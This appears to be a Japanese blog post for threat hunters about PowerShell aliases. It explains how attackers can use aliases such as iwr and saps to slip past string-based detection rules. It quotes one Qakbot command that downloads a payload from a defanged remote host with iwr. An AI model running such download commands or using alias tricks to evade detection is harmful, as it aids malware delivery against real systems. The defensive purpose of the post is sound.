脅威ハンティングと PowerShell エイリアス

Feb 21 2023
この記事では、Powershell エイリアスとは何か、また、脅威ハンティング アクティビティを実行するときや検出ルールを作成するときに Powershell エイリアスに留意することが重要である理由について説明します。エイリアスとは何ですか? 名前が示すように、エイリアスは PowerShell コマンドレットまたはコマンドの代替名です。

この記事では、Powershell エイリアスとは何か、また、脅威ハンティング アクティビティを実行するときや検出ルールを作成するときに Powershell エイリアスに留意することが重要である理由について説明します。

エイリアスとは何ですか?

名前が示すように、エイリアスは PowerShell コマンドレットまたはコマンドの代替名です。エイリアスが作成されると、元のコマンドの代わりにそれを使用できるようになります。

PS > New-Alias -Name goto -Value Set-Location

コマンドレットはSet-Location現在のフォルダーのディレクトリを変更するために使用されます。上記のコマンドを実行した後、gotoコマンドを使用するだけでディレクトリを切り替えることができます。

エイリアスが何であるか、そしてどのように機能するかを理解したところで、さらに興味深いことに移りましょう。

組み込みエイリアス

Powershell にはすでに組み込みのエイリアスがあり、実際にエイリアスであることを知らずに使用している可能性があります。たとえば、次のとおりです。

  • curlコマンドは組み込みのエイリアスですInvoke-WebRequest
  • cdコマンド (ディレクトリ変更) は、次の組み込みのエイリアスです。Set-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
                
built-in aliases for starting a process
List of all cmdlets and its associated alias

攻撃者はこれを文字列ベースの検出ルールに対する防御回避テクニックとして使用する可能性があります。

@ pr0xylifeが共有した最近の Qakbot サンプルでは、​​感染チェーンは — .one > .wsf > .cmd > ps > .dll — であり、実行された Powershell コマンドはエイリアスの 1 つ — iwr — を使用していました。Invoke-WebRequest

poweRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

TA によって悪用される可能性のあるあまり知られていないエイリアスが多数あるため、最も興味深いエイリアスのいくつかを記載した小さなチートシートを作成しました。

最後に、Start-Process使用したコマンドがsapsSysmon イベント ログにどのように表示されるかを示します。エイリアスが元のコマンドレットに「変換」されていないことが確認できます。

組み込みのエイリアスをすべて含めずに、特定の Powershell コマンドレット文字列を検出するためのルールを開発するのが一般的であり、検出されない脅威に遭遇する可能性があります。

このブログから何かを学んでいただければ幸いです。

読んでくれてありがとう、そして楽しい狩猟を!